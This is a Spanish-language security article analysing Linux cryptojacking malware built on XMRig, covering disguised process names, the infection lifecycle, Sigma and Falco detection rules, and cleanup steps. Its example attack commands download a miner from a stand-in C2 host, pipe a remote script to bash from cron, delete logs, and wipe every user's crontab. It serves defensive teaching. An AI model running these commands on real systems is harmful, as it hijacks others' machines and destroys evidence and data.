IntermedioLinuxcryptominerXMRigMonerodetecciónrespuesta

Cryptominers en Linux: Detección, Respuesta y Cómo Eliminan a la Competencia

Análisis de malware de criptominería en Linux. XMRig como payload dominante, técnicas de ocultación de CPU, eliminación de miners competidores, persistencia, detección con auditd/Falco/top, y respuesta ante una infección de cryptojacking.

MalwareIntel Research··7 min lectura
Serie: Malware en Linux — Parte 6

El malware más común en servidores Linux

El cryptominer es el tipo de malware más frecuente en servidores Linux. No es el más destructivo (ese honor es del ransomware ESXi) ni el más sigiloso (los rootkits), pero es el más prevalente por una razón económica simple: cada servidor Linux comprometido genera ingresos directos y continuos para el atacante.

La ecuación del atacante: comprometer 1.000 servidores con XMRig que generan 1 USD/día cada uno = 30.000 USD/mes. Con costes operativos mínimos (el atacante no paga electricidad ni hardware) y riesgo legal bajo (cryptojacking es menos perseguido que ransomware).

XMRig: el payload universal

XMRig es el software de minería de Monero más eficiente y es open source. Es legítimo cuando se usa con consentimiento. Es malware cuando se despliega sin autorización.

Configuración típica en malware

{
    "autosave": false,
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "max-threads-hint": 75
    },
    "pools": [
        {
            "url": "pool.minexmr.com:443",
            "user": "44AFFq5kSiGBoZ4NMDwYtN18NJ9ksKGRpFL...",
            "pass": "x",
            "tls": true,
            "keepalive": true
        }
    ],
    "background": true,
    "syslog": false
}

max-threads-hint: 75: el miner usa el 75% de los cores disponibles, dejando 25% para que el servidor siga funcionando. Si el servidor cae, la víctima investiga y elimina el miner.

Ofuscación del proceso

Los miners se renombran para pasar desapercibidos:

Nombre realNombre disfrazado
xmrig[kworker/0:2] (simula proceso del kernel)
xmrigbioset (proceso legítimo del kernel)
xmrigkswapd0 (proceso legítimo del kernel)
xmrig/usr/sbin/sshd (simula SSH daemon)
xmrigjava (simula proceso Java)
xmrigapache2 (simula Apache)

La técnica: prctl(PR_SET_NAME, "kworker/0:2") cambia el nombre del proceso visible en /proc/[pid]/comm y ps.

Ciclo de vida de una infección

Fase 1: acceso inicial

VectorPrevalencia
SSH brute forceMuy alta
Vulnerabilidad web (Log4Shell, WebLogic, Confluence)Alta
Docker/K8s API expuestaAlta
Redis sin autenticaciónAlta
Cron job malicioso via web shellMedia

Fase 2: instalación

# Patron tipico (simplificado)
cd /tmp || cd /dev/shm || cd /var/tmp
wget http://c2.example.com/xmrig -O .systemd-private
chmod +x .systemd-private
nohup ./.systemd-private -c config.json &

# Eliminar evidencia de descarga
history -c
rm -f /var/log/auth.log /var/log/syslog

Fase 3: eliminación de competidores

Los miners modernos incluyen rutinas para eliminar otros miners:

# Kill procesos de miners conocidos
pkill -9 -f xmrig
pkill -9 -f minerd
pkill -9 -f kinsing
pkill -9 -f cryptonight
pkill -9 -f stratum

# Eliminar cronjobs de competidores
crontab -r
for user in $(cat /etc/passwd | cut -d: -f1); do
    crontab -r -u $user 2>/dev/null
done

# Bloquear pools de competidores en /etc/hosts
echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts
echo "0.0.0.0 pool.hashvault.pro" >> /etc/hosts

# Matar procesos que consumen mucha CPU (probablemente otros miners)
for pid in $(top -bn1 | grep -E '^ *[0-9]+ .* (9[0-9]|100)\.' | awk '{print $1}'); do
    kill -9 $pid
done

Fase 4: persistencia

MecanismoImplementación
Crontab*/5 * * * * curl http://c2/update.sh | bash
Systemd serviceServicio que reinicia el miner si se detiene
.bashrc/.profileEjecutar miner al login del usuario
rc.localEjecutar al arranque del sistema
SSH authorized_keysAñadir clave del atacante para re-acceso
RootkitOcultar el miner del sistema (Diamorphine)

Fase 5: ocultación de CPU

Técnicas para ocultar el uso de CPU:

Process hiding: renombrar proceso + rootkit para ocultar de top/ps

CPU throttling dinámico: reducir la minería cuando un usuario está conectado:

# Si hay sesion SSH activa: reducir a 25% CPU
# Si no hay nadie: minar al 100%
while true; do
    if who | grep -q pts; then
        # Alguien esta conectado
        kill -STOP $MINER_PID   # Pausar miner
    else
        kill -CONT $MINER_PID   # Reanudar miner
    fi
    sleep 30
done

LD_PRELOAD hooking: interceptar sysconf(_SC_NPROCESSORS_ONLN) para reportar menos CPUs a herramientas de monitorización.

Detección

Indicadores de cryptojacking

IndicadorMétodo de detecciónConfianza
CPU uso mayor a 80% sostenidotop, htop, monitoring (Prometheus/Grafana)Alta
Procesos con nombres de kernel que consumen CPUps aux --sort=-%cpu | headAlta
Conexiones a mining poolsss -tnp | grep :3333|:443 + DNS logsMuy alta
Strings "stratum", "pool", "xmrig" en procesos/proc/[pid]/cmdline, /proc/[pid]/mapsMuy alta
Crontab con descargas de scriptscrontab -l, /var/spool/cron/Alta
authorized_keys modificadascat ~/.ssh/authorized_keysAlta

Mining pools conocidos

PoolDominio
MineXMR (cerrado 2022)pool.minexmr.com
MoneroOceangulf.moneroocean.stream
HashVaultpool.hashvault.pro
SupportXMRpool.supportxmr.com
Nanopoolxmr.nanopool.org
2Minersxmr.2miners.com
HeroMinersmonero.herominers.com

Reglas de detección

Sigma rule:

title: Cryptocurrency Mining Process on Linux
id: a1b2c3d4-e5f6-a7b8-c9d0-e1f2a3b4c5d6
status: stable
logsource:
    category: process_creation
    product: linux
detection:
    selection_process:
        Image|endswith:
            - '/xmrig'
            - '/minerd'
            - '/cpuminer'
    selection_cmdline:
        CommandLine|contains:
            - 'stratum+tcp'
            - 'stratum+ssl'
            - 'pool.minexmr'
            - 'pool.hashvault'
            - 'moneroocean'
            - 'randomx'
            - '--donate-level'
    condition: selection_process or selection_cmdline
level: critical
tags:
    - attack.resource_hijacking
    - attack.t1496

Falco rule:

- rule: Detect Cryptocurrency Mining
  desc: Detects processes communicating with known mining pools
  condition: >
    spawned_process and
    (proc.cmdline contains "stratum" or
     proc.cmdline contains "xmrig" or
     proc.cmdline contains "minerd" or
     proc.name in (xmrig, minerd, cpuminer))
  output: >
    Cryptocurrency miner detected (user=%user.name command=%proc.cmdline
    container=%container.name image=%container.image.repository)
  priority: CRITICAL

Network detection

# Buscar conexiones a puertos de mining pools
ss -tnp | grep -E ':3333|:4444|:5555|:7777|:8888|:9999|:14433'

# DNS queries a pools conocidos
grep -E '(minexmr|hashvault|moneroocean|supportxmr|nanopool|2miners|herominers)' /var/log/syslog

# tcpdump para stratum protocol
tcpdump -A -i any port 3333 2>/dev/null | grep -i stratum

Respuesta

Procedimiento de limpieza

# 1. Identificar el proceso miner
top -bn1 | head -20
ps aux --sort=-%cpu | head -10

# 2. Matar el proceso
kill -9 [PID]

# 3. Eliminar binario
find / -name "xmrig" -o -name ".systemd-private" -o -name "kswapd0" 2>/dev/null
rm -f /tmp/.* /dev/shm/.* /var/tmp/.*

# 4. Limpiar persistencia
crontab -l | grep -v "curl\|wget\|bash\|mining" | crontab -
# Verificar cada usuario
for user in $(cut -d: -f1 /etc/passwd); do
    crontab -l -u $user 2>/dev/null
done
# Verificar systemd
systemctl list-units --type=service | grep -v "loaded active"
# Verificar authorized_keys
cat ~/.ssh/authorized_keys   # Eliminar claves desconocidas

# 5. Verificar /etc/hosts (miners añaden entradas para bloquear competidores)
cat /etc/hosts | grep -v "0.0.0.0" > /tmp/hosts.clean
cp /tmp/hosts.clean /etc/hosts

# 6. Cambiar contraseñas y verificar accesos
passwd   # Cambiar password de root
# Revocar SSH keys sospechosas
# Verificar logs de acceso: /var/log/auth.log

# 7. Parchear el vector de entrada
# Actualizar software vulnerable
# Cambiar credenciales comprometidas

Mapeo MITRE ATT&CK

TécnicaIDContexto cryptomining
Resource HijackingT1496Uso de CPU para minería
Exploit Public-Facing ApplicationT1190Acceso inicial via vulnerabilidad
Brute ForceT1110SSH brute force
Scheduled Task/Job: CronT1053.003Persistencia via crontab
Account Manipulation: SSH Authorized KeysT1098.004Persistencia via SSH keys
Indicator RemovalT1070Limpieza de logs
Impair DefensesT1562Matar competidores, deshabilitar seguridad

Fuentes y referencias

  • Sysdig. "2024 Cloud Threat Report: Cryptojacking Statistics." Sysdig.
  • Aqua Security. "TeamTNT: The Evolution of Cloud-Native Threats." Aqua, 2023.
  • Trend Micro. "Linux Cryptomining Threats." Trend Micro Research, 2024.
  • XMRig. "XMRig: High Performance Monero Miner." https://xmrig.com/
  • CrowdStrike. "Cryptojacking in Enterprise Environments." 2024.
  • Falco. "Runtime Security Rules for Cryptomining." https://falco.org/
  • MITRE ATT&CK. "Resource Hijacking (T1496)." https://attack.mitre.org/techniques/T1496/

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.